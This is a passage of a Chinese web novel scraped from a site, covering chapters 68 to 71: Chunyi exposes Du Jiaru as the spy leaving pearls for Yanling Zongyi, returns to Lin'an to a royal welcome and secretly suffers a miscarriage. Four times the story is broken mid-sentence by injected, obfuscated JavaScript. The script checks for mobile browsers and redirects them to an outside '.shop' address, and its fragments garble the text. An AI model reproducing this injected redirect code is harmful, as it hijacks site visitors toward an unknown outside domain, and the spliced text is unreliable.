延陵宗隐脸色黑沉。他不顾血污,从兵士手中将那珠子夺过来,放在眼前仔细端详了片刻,确认真是杜伽茹留下的珠子,一双黑眸又朝着那狼尸投去一眼,再开口时,声音里满是压抑的怒火:“被狼吞了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222278|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那兵士不敢看自己郎主可怕的脸色,垂着脑袋唯唯诺诺:“应……应该是……” 纯懿他们刚刚离开,而留下的珠子被狼吃了,他们失去了纯懿的方向。差一点,只差一点…… 延陵宗隐满心的懊恼担忧顿时全化作怒火,无处发泄,便大步朝着狼尸走去,动作快到刀刃寒芒都连成一线,几下之后,一具完整的狼尸就被拆成了一地碎块。 延陵宗隐仍觉不解气。他厉声道:“到四周找找线索,然后给我把这林子烧了!” 众人齐声应“是”,立刻就分散去找,可除了一些草木被压倒的凌乱痕迹,只找到了一条已经沾满了泥污的红绳。 延陵宗隐看着手中这根熟悉的与红线缠绕在一起的金链子,触手似乎还带着她身上的温度和馨香,可他此刻却一身血污,狼狈又满腔怨恨。 他缓缓攥紧五指,将那根手链压入掌心,然后将大刀归入刀鞘,转身便走:“放火!爷就不信,林子都没了,他们还能躲到哪里!” 大火很快就熊熊燃起,沿着相互接连的树枝藤蔓飞速蔓延,火光照亮了夜空,映出悬空而起的滚滚黑烟。在飞溅的火星灰烬和草皮木屑中,陆双昂背着纯懿飞速奔跑,纯懿趴在陆双昂的背上,紧紧环着陆双昂的脖颈,仍旧控制不住满心的震惊和慌乱,几乎有些语无伦次:“他怎么找到这里的……他怎么这么快就又跟来了……这不对,一定有什么地方不对……” 陆双昂一边观察四周,一边小心护着纯懿不要被火撩到,暂时顾不上回应纯懿,可却也是面色严肃,心下沉重。 遇到狼群时,他们将剩余的鹿尸留给狼群得以全身而退,走出没多久,纯懿却发现她的红绳丢在了路上。虽然纯懿强笑着安慰大家,说东西她不要了,可她满眼的不舍和闷闷的神情,还是表露出她的难过。 这一对红绳是他们的定情之物,陆双昂自己也有一条,自然理解纯懿的心情。易位而处,若是换了他,拼了命他也想要找回来的。他不舍得看纯懿难过,便让余晚飞带着永嘉和杜伽茹先走,自己则与纯懿返折回来,试图寻找那条红绳。 没想到,却正好撞见了延陵宗隐下令放火的场面。 延陵宗隐追来的速度比他们设想的要快得多,这不正常。 难不成延陵宗隐真的这么厉害?还是说,他有什么他们不知道的底牌? 两人都是心事重重,却也并没影响逃亡的速度,很快就与余晚飞他们成功汇合。现在林子被烧了,火马上就会蔓延到这里,几人当机立断决定,趁着延陵宗隐他们也还没撤出去,他们要抓紧时间从另一个方向走出密林,改走官路,就近前往下一个城池。 连夜赶路之后,在天色将明时,纯懿一行人终于靠近了青城。就在几人望着晨雾中青城朦胧的城楼,都长舒了一口气之时,纯懿却忽然停住了脚步。 她一张小脸被烟熏得满是脏污,可眼眸却亮亮的,一点儿都没有连夜赶路的疲惫,反而像是燃着两簇小小的火苗,不屈又倔强。她声音沙哑,语气却很是坚定:“我们不入城。” 对上杜伽茹吃惊的目光,纯懿缓缓露出一个笑容来:“我们顺着白水河走水路,回吉州去。” 69. 第 69 章 已经到了青城却突然要转头折返回吉州,纯懿的目的很简单,就是摆脱延陵宗隐。她就是在赌,延陵宗隐一定想不到他们还会回头,一定会沿着白水河继续南下追击。 而如果延陵宗隐也跟着回了头…… 纯懿的目光在余晚飞、永嘉、尤其是杜伽茹身上缓缓掠过:那就说明,他们之中,很可能有人一直在为延陵宗隐通风报信。 几人同甘共苦一路走来,余晚飞为人机灵却极为可靠,永嘉有着与甜美外表不同的风火性格,杜伽茹除了有些娇娇脾气,也还算是听话肯干,在洗衣院时也帮过她许多,纯懿是不愿意相信这个猜测的。 可当他们在吉州城里打听延陵宗隐的消息,听到虞娄百姓眉飞色舞地讲述着自己有多么荣幸,在青城里见到了赫赫威名的二太子宗隐郎主,甚至还与他说了几句话,然后没过几天,却又再次在吉州的街头见到了身着黑甲的部曲的时候,纯懿不得不正视起了这个可能。 延陵宗隐已经去了青城,甚至已经入了城,却立刻跟着他们的脚步向北折返。如果没有可靠的消息来源,以纯懿对他的了解,他那么不达目的誓不罢休的一个人,只会更加加快步伐朝南追击,而不会突然回来。 他们之间,很大可能,真的有人一直在通过某种方式与延陵宗隐联络。 陆双昂恼怒非常,立刻就准备用军中的法子,逼问剩余三人到底是谁做了这个内应,纯懿却依旧不死心。她拦住了愤愤不平的陆双昂,带着大家立刻出发,离开吉州,继续南行,这次却避开了青州,而是去了比青州偏西一些的樘州。 果然,没几天,延陵宗隐又率领着他的部曲一起,也出现在了樘州。甚至这一次,他追来的时间比去吉州还要短,显然是他们刚动身没多久,他就紧跟着一起出发了。 纯懿不想随意怀疑别人,伤了无辜之人的心,可几经验证,这个猜测已经成了明晃晃的事实。与陆双昂商议之后,这日晚上,纯懿将正准备休息的余晚飞三人喊了起来,神情严肃道:“延陵宗隐追来了,我们得立刻出发,离开这里了。” 大半夜的突然说要动身,余晚飞三人都是一脸茫然。永嘉不喜欢婆婆妈妈的啰嗦,率先开口:“不是说明天出发吗?今儿白天咱们已经见过延陵宗隐了,他并没有发现我们,东西都还没准备呢,再急也不至于连夜就走吧?” 纯懿点头,认真道:“至于。他追来的越来越快,我和昂哥哥商量了,都觉得这不是一个好兆头。还是尽快离开比较保险。” 这倒是实情,永嘉也发现了。她便不再说话,翻身起来,立刻开始收拾东西。 余晚飞沉默着,也跟着起身收拾,可忍了又忍,还是来到纯懿面前,低声道:“今晚出发我没有异议,但是晚上城门关了,我们出去,是不是反而更容易被发现?” 纯懿仔细打量着余晚飞的神情,他的脸上一派真挚的担忧,完全看不出心虚或是别有用心,与刚刚永嘉的神情如出一辙。纯懿的感情在暗暗唾弃自己竟然怀疑他们,理智却让她维持着平静,微笑道:“没关系,这里离上京已经有一段距离,城里有我们的暗桩,昂哥哥已经有安排,可以带我们出城。” 听闻这里竟然还有庆国暗桩,余晚飞先是一惊,随后便是大喜。他点点头,不再开口,回去继续收拾东西,很快就将所有物品裹在包袱里背在身上,一副随时就走的样子。 杜伽茹倒是非常安静,除了在刚听闻要出发时有些惊讶外,她非常乖顺的接受了这个安排,收拾好了自己,还又去帮永嘉。 三个人看起来,似乎都没有什么问题。 收拾好了,几人便踏着夜色迈出房门,依旧是陆双昂打头,余晚飞也依着往常的习惯,侧身等在一边,让娘子们先走,他在最后收尾。 这一次,纯懿却在经过他身边的时候忽然停住了。 “延陵宗隐一定会追来这里的,我应该给他留个信的。”纯懿像是突然想起来一般低声自语,然后抬起漂亮的眸子,对站在门边的余晚飞道,“你先走,我回屋里写几个字,马上就去追你们。” 余晚飞不放心将纯懿一人留在最后:“帝姬,我等您。” 纯懿看着不知何时已经长得比她还要高上一个头的少年,颇有些感慨地拍拍他的肩膀,微笑摇头:“去吧。” 余晚飞向来将纯懿的话视为圭臬,虽然非常不放心,却还是一步三回头地离开了。屋内空旷安静,被收拾得干净整齐,没有留下一点儿痕迹。纯懿也没有多停留,只稍微等了一会儿,就飞快出门,追着陆双昂他们的方向而去,很快就遥遥看到了他们的身影。 纯懿没有去与他们汇合,也没有惊动他们,悄悄缀在他们身后,仔细观察着他们。 陆双昂当先走在最前面,永嘉正紧跟在他身边,好像在与他说什么。余晚飞似乎有些心神不宁,一边走着,一边频频回首张望,就渐渐与杜伽茹错身而过,落在了最后面。而杜伽茹…… 纯懿将她的举动看得一清二楚。随着她手中的珍珠滑落,纯懿的心也沉沉掉落,震惊、失望、悲愤,复杂的情绪席卷而来,让纯懿不由咬紧了下唇,直到尝到些淡淡的腥甜。 她加快了脚步,追着他们而去。 杜伽茹现在做这事已经非常轻车熟路,一开始的忐忑和内疚早已消失不见,只剩一片平静,甚至有时还带着些控制不住地兴奋。她跟着队伍最后,躲过余晚飞的视线丢下了珠子,刚将装着剩下珠子的锦袋塞进怀里,身后忽然传来一道幽幽的女声:“你的东西掉了。” 杜伽茹一个激灵,猛地扭头看去,正对上不知何时站在她身后的纯懿的目光。纯懿脸上表情饶有深意,似笑非笑盯着她,指尖正捻着一颗珍珠,在月色下散发着莹润的光。 延陵宗隐追到小屋时,本已做好了这里已人去楼空的准备,可出乎他意料的是,屋里竟然还有人。 一个娘子侧卧在墙边。她背对着门口躺着,黑发披散盖于身上,衣裙严整,却是一动不动,似乎正在深眠,对突然闯入的危险全无察觉。可在她面对着的那堵墙上,有人留下了两个飞舞的大字,又昭示着,他们其实对他的到来心知肚明。 延陵宗隐立于门口,看着墙上那两个字出神,面上表情莫测,不知道在想些什么。黑塔上前几步,动作粗暴查看了那娘子一番,回来汇报:“郎主,是姓杜那个娘们儿,人没死,昏过去了。” 延陵宗隐沉默不语。就在黑塔以为他会一直沉默下去时,延陵宗隐却忽然笑了。 开始只是唇角微翘,勾出一个浅浅的弧度,很快,低低的笑声从他喉中溢出,薄唇弯起的弧度越来越大,声音也越来越响亮,到了最后,已可以算得上狂放恣意。 伴着笑声,延陵宗隐大步走入屋子。他长腿一迈,直接从横躺于地的杜伽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235239|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茹身上跨过,看也没看一路上辛辛苦苦为他留下记号的杜伽茹一眼,只站在墙壁前,一根修长的手指轻轻抚上那两个大字,顺着笔划缓缓摩挲而下。 “无、耻。”他慢慢念着,眼前仿佛出现了纯懿气到发红的小脸。她自己可能不知道,每次生气的时候,她的眼睛就瞪的格外的大,水润的眸子里燃着小小的火苗,生机勃勃到让他忍不住沉迷。 延陵宗隐又是一阵大笑,连惯常沉寂无波的黑眸里都满是笑意。他笑着回头吩咐黑塔:“把这块儿墙皮给爷铲下来,完完整整送回府里去。” 黑塔完全不明白自家郎主这诡异的想法是怎么来的,却也尽责地应声,然后立刻招呼人来铲墙皮。他自己则走到延陵宗隐身后,小心地问:“郎主,然后咱们往哪儿追?” “追?”延陵宗隐缓缓摇头,“追不上了。那个女人真是狡猾……” 停顿一会儿,他又含笑补充:“也真是聪明诱人。” 黑塔又不明白延陵宗隐的意思了,他觉得自家郎主似乎不太正常了。 可能是黑塔的疑惑过于明显,延陵宗隐瞥他一眼,大发慈悲地开口多解释了两句:“以后不会再有信号了。失木错带着大军跟在咱们后面吧?” 这句话黑塔听懂了。他急忙点头:“对。从我们出发开始,他就一直跟在我们后面,带的都是精锐中的精锐,您放心。” “很好。”延陵宗隐满意点头,“让他过来与我们汇合。我亲自领兵,直接越过他们,到前面堵她。” 黑塔又紧紧闭上嘴不说话了。延陵宗隐踹他一脚,笑骂:“蠢!他们再怎么逃,有陆双昂在,最后就一定会回南庆军中。我们先去一步,把南庆军队打散,等他们跑到了地方却发现军队不在了,看他们还怎么办。” 纯懿并不知道延陵宗隐已带着大军越过他们,提前到两军阵前堵她,她只是觉得,将杜伽茹抛开后,他们接下来的逃亡路途顿时顺遂了许多。延陵宗隐再也没有阴魂不散追在他们后面,时不时出现吓他们一跳,甚至就连沿途各城镇的搜捕力度都小了许多。 这么一路朝南走下去,又过了快一个月,两军前线已遥遥可望。 陆双昂私下对纯懿说,延陵宗隐估计是放弃了,纯懿却不这么认为。随着与南庆大军的距离越来越近,陆双昂和余晚飞他们脸上的神情也一日比一日放松,她却总觉得越来越不安,一颗心也一日一日悬在空中。 离南庆大军只剩最后几十里路时,纯懿一行人见到了贤宁派来接应他们的军士。 看到风尘仆仆的陆双昂,那军士很是激动,开口就是一通解释:“大概七八日之前,虞娄二王子延陵宗隐带着大军突然出现,与我们对峙。军中将领们有些心里没底,贤宁帝姬支撑的很艰难,这下可终于把陆将军您盼回来了!” 他果然没有放弃!他竟然在这里等着他们! 纯懿与陆双昂对视一眼。路爽昂皱眉问道:“他进攻了吗?” “没有,”那兵士把头摇得像拨浪鼓,也有些稀奇,“他只是带军来与我们对峙,没有进攻,也不后撤,不知道是想干什么。贤宁帝姬猜测,他可能是在等您。” “还追到这里来,欺人太甚!”陆双昂眉头皱的更紧,眉心纹路更加深了几分,“我们这就回军中,他不进攻,咱们先上!这次,本将倒是要在战场上会会他,堂堂正正与他分个胜负!” 70. 第 70 章 比起纯懿,陆双昂对延陵宗隐的恨意恐怕只多不少。之前为了能顺利带回纯懿,他一直隐忍着,避免与延陵宗隐当面冲突,现在终于有了机会能与延陵宗隐当面胜负,陆双昂全部的血性都被激发出来,怒意上头,简直激愤到立刻就想跟延陵宗隐大干一仗。 纯懿却比他要了解延陵宗隐的多。她拉住陆双昂的袖角,轻声道:“不行。” 她的动作很轻,声音也很轻,却轻易就浇灭了陆双昂沸腾的怒火,唤回了他的理智。 纯懿冷静地道:“他极擅军阵,早就带兵到了这里,想来是抱着要赶在我们之前打散大军、让我们无军可依的意思。他人已经到了,你作为主帅又不在军中,如此大好时机他却没有动手,一定还有别的考量。” 陆双昂其实也明白这个道理,只是想狠揍延陵宗隐一顿的冲动实在过于强烈,让他难以放弃这个机会。 纯懿看出了他的不忿。她主动将陆双昂的手团于手心,半是哀求半是撒娇地摇晃几下:“你忘了在上京时,你是怎么对我说的吗?我们要离开。我们费了千辛万苦才走到这里,一定要顺利回到南庆才行。我还没去过临安呢,昂哥哥,我们不要冒险,好吗?” 陆双昂向来难以拒绝纯懿的请求。纯懿想要他放弃,他就是再愤怒、再不甘,也不忍心让她伤心失望。 纯懿实在太熟悉陆双昂了,他神情上的些微松动都逃不过她的眼睛。看出了陆双昂的动摇,她急忙又提出自己的建议:“他在那里等我们,那我们就不过去了。大军由贤宁带着寻机撤回,我们直接从燕京南下,咱们在南庆境内汇合,一起返回临安,你看这样可行吗?” 陆双昂看着面前的纯懿,久久不言。就在纯懿都有些心虚的时候,他忽然长叹一声,揉揉纯懿的发顶。 “可行的。”他说,“但是琅琅,我送你到从燕京进入大庆境内,然后我要回到军中。我是南庆主将,对面带兵的是延陵宗隐,我已经离开够久的了,不能在这种时候把大军甩给贤宁不管。” 陆双昂生怕会失约,然后让她担心失望,温柔解释:“我不能保证可以按期追上你的步伐,但是我可以答应你,我会谨慎带兵,不会冲动行事。你不必等我,按计划南下临安,如果我们没能在路上汇合,那就在临安等我,好吗?” 看进陆双昂满是赤诚平静的双眸,纯懿忽然明白,可能早在从临安出发的那一刻,他就做好了随时赴死的准备,不管是为了她,还是为了南庆大军。 她觉得心中抽痛,这种痛意从心脏朝着整个胸腔和小腹蔓延,让她五脏六腑都如同被抛入油锅中,煎熬又痛楚,难受到她双手下意识捂上腹部,使力按压,才能稍稍止住些疼痛。 “好啊,昂哥哥,”纯懿对着陆双昂露出一个笑容来,认真点头,许诺一般,“我等你,路上等不到,就在临安等你。你一定要平安回来啊。” 几人达成一致,便派了一人回军中报信,剩下的南庆兵士则与陆双昂一起,避开前方的大军驻地,护送纯懿和永嘉前往燕京。 几日之后,燕京巍峨的城门遥遥可见,犹是离开大庆时记忆中的模样,让纯懿和永嘉都是忍不住热泪盈眶。 一行人依旧在海云寺停驻。 脱下虞娄衣袍,沐浴洗身之后,换上大庆衣裙,重新挽起鬓发,对镜梳妆簪花。再出现时,陆双昂看着莲步轻移向他而来的纯懿,猛然间只觉梦回汴京的旧日岁月。 那个时候,她是大庆尊贵的帝姬,他是一直痴痴望向她的陆家小公子,他们是享誉汴京的一对爱侣,对即将发生的一切磨难都毫无所觉,只以为这辈子都会这般平静幸福地度过。 对上纯懿微笑的眸子,陆双昂脸上也不由绽开一个笑容来。他站起身,大步迎着纯懿走去,展臂将她揽在身前,动情低唤:“琅琅。” “是我,”纯懿回揽他,如同旧日一般将自己投入陆双昂的怀抱,“是我,昂哥哥。这里是大庆,我们回来了。” 要护送纯懿和永嘉继续南下临安的兵士们正在匆匆忙忙准备行装,待他们出发之后,陆双昂就要马上要返回前线,两人抓紧最后的时间。相携在海云寺中信步闲逛。又是一个春天,海云寺的迎春花开得依旧烂漫,纯懿看着四周绚烂的黄色,忽而有些感叹: “当时被迫北去上京,经过海云寺时,也是个春日。” 这还是纯懿第一次主动提起当初前往上京路上的事。陆双昂心中不忍,却还是目光温柔注视着她,安静等着她的下文。 “那个时候,我们几位帝姬王妃洗手焚香,在这里虔诚叩拜,希望有朝一日可以回到大庆故土。”纯懿转眸看向陆双昂,弯唇一笑,眼中却隐隐闪烁着泪花,“当时一起祈愿的九人,一人死在北迁路上,四人陆续死在上京,一人离散不知下落,还有两人做了虞娄人的姬妾留在了虞娄。” “哦,对,也不全是姬妾,”纯懿忽然露出了个自嘲的笑容,更正道,“嘉荣姐姐现在是虞娄大王的十二王妃了。她已经怀了身孕,我去找她,她说她不想再惦记旧事,也不会再回头。” 说到后来,纯懿的声音已经有些哽咽:“你看,昂哥哥,当初的九人,最后只有我一个回来了。” 陆双昂心疼地握紧她的手,然后又捧住她的脸,俯身低头,将自己的额头触碰上她冰凉的额头。两人就这般紧紧相依,许久之后,陆双昂温暖的皮肤才离开纯懿的额头,可在看到纯懿光洁前额上留下的一块儿圆圆的红印时,忍不住笑了。 他转而用手在纯懿额上红印处揉了揉,拉着她朝大殿中而去:“走,既然回来了,我带你去还愿。” 站在引磬旁的是一位年轻的师父。他看着年纪不大,个子也不高,身上的袈裟都有些拖在地上,可面上神情却是十足的虔诚肃穆。纯懿和陆双昂两人跪于佛下,都是闭眼合十,默默心语,然后俯身叩头,每叩一下,那小师父就会轻轻敲响引磬,悠远的磬音和着袅袅檀香,让人的心绪不由就平静安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260239|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁了许多。 陆双昂先起身,默默等着纯懿睁眼,这才再次俯身,将她从佛前搀起。然后,他大步走向那位敲磬的小师父,从怀里摸了一张银票出来,恭恭敬敬递到他手边: “吾妻曾在此许愿,今日如愿以偿,特来还愿。今日有些仓促,还请小师父先收下这香油钱,日后我一定会来为佛祖重塑金身,感念佛祖保佑我妻平安归来。” 那小师父却没接,而是双手合十念一个佛号,拒绝道:“施主的一片心意,我佛自能领悟。如果一定要留下些什么……” 他抬眸,看向旁边的纯懿,面上露出一个微笑来,缓缓道:“不如女施主留下一枝迎春,也算圆满。” 纯懿一怔,当初的记忆忽然席卷而来。她重又仔细打量了这稳重的小师父几眼,终于认出了故人,不由也露出一个笑容来。 “永愿师父。” “女施主的愿文还悬在佛前,日日受香火供养。”那个曾经连诵读经文都耐不住性子的小师父,现在已经很有了些得道大师的样子。他浅笑颔首,后退一步,然后对着纯懿深深躬身:“恭贺帝姬回朝。” 再次听到这句话时,纯懿已经抵达临安城下。 与二帝一起被掳掠到上京的帝姬南归,如果是真的,对于新建立不久的南庆来说,简直是一件大喜事,所以早在收到陆双昂加急传回的信报时,南庆新帝便派了一波又一波的宫廷旧人来确认纯懿的身份。纯懿自然不惧,不仅对于提问的大庆旧事了如指掌,连一些鲜有人知的皇室密辛都能说的头头是道,经过一些从景康之难中得以逃生的宗室验证,确认她的身份无疑。 南庆新帝欣喜不已,一声令下,在纯懿抵达临安这日,南庆文武百官和徐氏宗亲全部出动,在城外迎接帝姬回朝。远远望见纯懿所乘的八架马车,众人如潮水一般下跪叩首,“恭贺帝姬回朝”的呼声响彻云霄,惊起一阵飞鸟。 马车停下,南庆新帝徐结亲自迎上前去,伸出手去接纯懿下车。 车帘缓缓掀开,映在徐结眼中的,是一张精致美丽却苍白疲惫的脸。这一路上似乎是很辛苦,这位回朝的帝姬看着身形瘦弱,走这么几步路甚至还有些颤颤悠悠的,却反而给她的美貌中增添了些弱柳扶风般的韵味,正是临安公子们最为追捧的那种娇弱美人儿。 就是早听闻过这位纯懿帝姬的美貌,徐结也不免被她的容色所摄,呆了一瞬,才亲切开口:“纯懿回来了。路上辛苦了,这下到家了,可得好好补补身子才行。” 纯懿抬眸看向面前这位身穿皇袍的南庆新帝,放开他的手,对着他恭敬行礼,是一个标准的大庆宫廷礼节:“多谢陛下。” 徐结急忙去扶她:“都是一家人,客气什么。” 徐结言行亲切,纯懿也面容含笑,两人自然地一边轻声说话,一边相携穿过跪伏于地的百官们,准备入城。看着一副其乐融融的和谐画面,可藏在一言一行之中的生疏别扭,却只有当事两人知晓。 71. 第 71 章 纯懿和徐结之间淡淡的陌生和尴尬,不为别的,只单纯因为,他们两人其实并不太熟。纯懿甚至猜测,徐结还记不记得她都得两说。 若说血缘,徐结和纯懿的关系着实有些远,只勉强算得上是堂兄妹。纯懿又不喜欢参与朝政,从不与各路堂表兄弟们走得过近,再加上两人又相差着十来岁,着实是没有什么共同语言,也没有机会一起共事。 当日汴京城破,她被延陵宗隐关在虞娄大营时,徐氏皇族的直系血脉被杀的杀,关的关,折去了七七八八,当时还是赵王的徐结因着血缘远一些,得以成为大庆的特使,陪着陆双昂一起去过虞娄大营,被躲在内室的纯懿看了个正着,这才让纯懿对这位远房堂兄有了些印象。 若不然,不要说徐结了,就是纯懿也是对这位新帝没有丝毫记忆的。 自己的太子亲兄还在五国城受苦,远房的堂兄徐结倒是成了皇帝,纯懿不由感慨,真是世事无常。 可能是怜惜她的遭遇,徐结倒是对纯懿这个远房堂妹没得说。入宫的一路上,徐结都在兴致勃勃为纯懿介绍临安的街景风情,然后又满怀欣喜地告诉她,为了庆祝她的回归,他特意命人准备了一场盛大的宴席,甚至连装饰精致的菜单都带了一份儿在身上,很有些献宝地递到纯懿面前。 “最重要的就是吃好。”徐结面容俊朗,说的话却非常朴实真诚,很是心疼地看着纯懿消瘦的身形,“你太瘦了,现在终于能安稳下来了,皇兄一定要把你养胖一些。” 他如当日的太子一般自称皇兄,亲近之意表露无疑。 纯懿笑着道谢,然后垂眸去看那熏着浅浅幽香的菜单,上面不仅有临安这边的时兴菜品,还有许多曾经在汴京宴席上盛行的菜肴,显然是徐结特意嘱咐过的。 徐结半是担忧、半是期待地看着纯懿的动作,贴心地询问她还有没有什么别的想吃的。 纯懿其实身体不适,精神也不济,若是按照本心,实在是不想去参加什么宴席。可这位新帝如此示好,桩桩件件都安排地妥帖完备,她实在是无法拒绝,只得忍着身上的疼痛,随着徐结一起入宫。 一晚热闹,觥筹交错。徐结高居在最上,不时对纯懿举杯,叮嘱宫人为她布菜,还几次将自己吃着喜欢的菜肴送到纯懿桌前。而纯懿的座位紧挨着徐结,与皇后的位置相对,剩余重臣与宗室全都居于纯懿之下,所有的安排和举动,无不昭示着徐结对这位妹妹的宠信和补偿之意。 到了宴席尾声,整晚都红光满面的徐结当着众臣和宗室的面,捧出了一封显然早已拟好的诏书,宣布恢复纯懿的长帝姬身份,不过不再称帝姬,而是改称公主,另外赐下公主府一座,公主仪仗一套,金银珠宝和各种器具更是数不胜数,甚至远超他自己公主的规制,赏赐丰厚到让在场的宗室们都纷纷咂舌。 除此之外,他还细致地考虑到了陪着纯懿一起返回的众人。 永嘉与纯懿不同,她本来只是宗姬,是外嫁皇女的后裔,严格意义上,她与徐结的血缘更是远到没边,徐结完全可以不必理会她。可因着“陪伴照顾长公主南归有功”,徐结也很是慷慨地给了永嘉与宗姬同等的郡主身份。 对于本是个小乞丐的余晚飞,徐结也不吝赞美,在征求了余晚飞本人的意见之后,他给了余晚飞正式的身份和军籍,将余晚飞编入了陆双昂的亲军。待陆双昂从前线返回,余晚飞就可以跟着陆双昂走行伍之路,为自己拼一个未来出来。 这倒是大大出乎了纯懿预料,再对着徐结行礼致谢时,就多带上了几分真心。 徐结急忙扶起她,看出她眉眼中隐藏的疲惫,贴心地提议:“若是累了就先回去吧,不必在这里强撑。” 纯懿不由心动,可扫一眼乌央央坐了满殿却无一人敢走的重臣和宗室们,又有些迟疑。 “有皇兄在,没人敢说你什么。”徐结微笑道,“去吧。” 纯懿感激地对徐结行礼,然后告退,永嘉就也跟着她一起离开。一走出大殿,永嘉一直带着甜美微笑的脸上就露出了些焦急来,几步上前扶着纯懿的手,将她的全部重量接到自己身上,低声道:“我看你喝了不少酒……你这情况,怎么能喝酒呢?自己的身子也不多注意着点儿……” 纯懿悄悄捏一下永嘉的胳膊,眼神朝着前面恭敬引路的宫人扫了一眼,永嘉就闭了嘴,只脚下步子迈得更稳,搀着纯懿的双手也更加小心,恨不得一点颠簸都不要有。 徐结赐下的府邸已经准备妥当,纯懿和永嘉就直接回了长公主府。一进主屋,打发尽责守着的女使们离开,纯懿脸上的笑容终于挂不住了。她甚至连走到床边的力气都没有了,撑着永嘉的胳膊,就近缓缓坐在桌边高凳上,两手按压上小腹,双眸紧闭,唇瓣微张,脸上露出痛楚的表情。 永嘉二话不说,蹲下身子,直接掀开了纯懿层层叠叠套穿的衣裙。 一股浓厚的血腥味顿时扑面而来,纯懿的里裤和里裙都已经被鲜血染透,细瘦的两条腿藏在裙下,控制不住地颤抖着。 永嘉咬紧了唇瓣,满是不忍地看了纯懿一眼,动作麻利地帮纯懿褪下衣裙,然后又端来热水和巾帕,熟稔地帮她整理着一片狼藉。一边收拾,永嘉还特意放柔了语气,不住安慰她:“比前几天好多了。这下回了临安,不用再在路上折腾,很快就没事儿了。你再忍忍,啊?” 纯懿脸色隐隐泛着青,点头的动作几乎微不可见。 永嘉刻意抚慰纯懿,可她心里却恼恨酸楚得紧,只埋着头,不想让纯懿看到自己泛红的双眼。收拾完了,她也没有起身,忽然开口,自责道:“都是我的错,我应该再多帮你一些的。要不然,你也不会一路上精神紧张又长途跋涉,这孩子说不定能留下……” 屋内一片寂静,只有水滴滴答落下的声音,不知道是巾帕上淌下的热水,还是谁的眼泪。 不知过了多久,一直沉默的纯懿却突然出声:“留下做什么?” 她睁开眼睛,脸色苍白,眼下却带着隐隐青黑,目光悠悠的,似乎是在出神,又似乎在暗暗咬着牙,恨恨道:“没了正好。我也不想要他。我不会要他的。” 纯懿紧紧攥住永嘉的手,指甲几乎陷入她的手掌中:“不要告诉别人,不管是昂哥哥还是陛下,不管是南庆的人,还是虞娄的人……谁都不要告诉,知道吗?” 永嘉点头,抬眸与纯懿对望,两人都是默然不语。 随大庆二帝一起北狩的纯懿帝姬竟然成功从上京逃回了临安,这如同话本子上的传奇故事一般的消息很快就传遍了整个南庆,不管是高宅大院还是民间百姓都议论纷纷。 大部分百姓们只能在家遥想一番,宗室和贵族们就便利得多,今日要接风,明日要赏花,后日又是久别重逢,办的每一场宴会都一定要邀请纯懿,一半是想满足自己八卦的心,另一半,却也是想要赶紧抱住这位陛下眼中的红人的大腿。 面对纷纷而来的邀请和示好,新鲜出炉的纯懿长公主却只说自己长途劳累,身子不好需要静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272403|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养,不论谁的邀请,尽都全数拒绝了。 有人表示理解,有人却心有不忿,没几天,就有那好事者一纸奏本,将纯懿告到了新帝徐结面前,说她整日闭门不出,也不进宫向新帝请安,是大不敬。 徐结认真看完了奏本,然后将上奏之人狠狠揍了一顿。揍完了,徐结犹觉不甘心,大笔一挥又下了一道诏书,除了将纯懿的封邑提升了一千户,还赐下珍贵药材补品若干,另外又特意嘱咐纯懿好好养着身体,不必搭理那些小人。 这么一来,再没人敢去招惹纯懿,也没人敢再对她的事说三道四。过了几日,临安城又有了新的谈资,突然回归的长公主的消息便渐渐沉寂下去,没什么人经常提起了。 直到另一个消息传来,纯懿长公主才再次回到众人视线。 北上逼压虞娄边境的大军回来了。大军主帅陆小公子是纯懿曾经的夫君,第一位执掌了兵权的女将军贤宁是纯懿的姐妹,大军的两位将领都与纯懿关系匪浅,甚至有人私下里议论,当初陆双昂和贤宁力主出兵,其实就是为了救纯懿回来。 一时间,纯懿长公主又再次成为临安城中炙手可热的人。 